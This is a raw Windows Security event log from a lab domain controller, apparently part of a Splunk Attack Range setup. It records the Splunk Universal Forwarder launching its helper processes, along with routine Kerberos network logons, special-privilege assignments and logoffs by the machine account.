			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:01:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256133
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x374
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:01:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256135
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc78
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:01:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256134
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:01:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256136
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:01:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256137
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf10
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:01:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256138
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:01:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256139
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1140
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:01:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256141
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3BD018
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51253

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:01:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256140
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BD018

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:01:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256142
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BD018

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256145
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BDC73

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256144
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3BDC73
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51261

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256143
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BDC73

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:02:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256151
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BDF57

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:02:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256150
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3BDF57
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51264

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:02:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256149
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BDF57

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:02:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256148
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BDEEB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:02:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256147
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3BDEEB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51263

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:02:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256146
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BDEEB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256152
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256165
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256164
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BEC11

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256163
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BED1F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256162
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BED68

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256161
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3BEE38
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51269

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

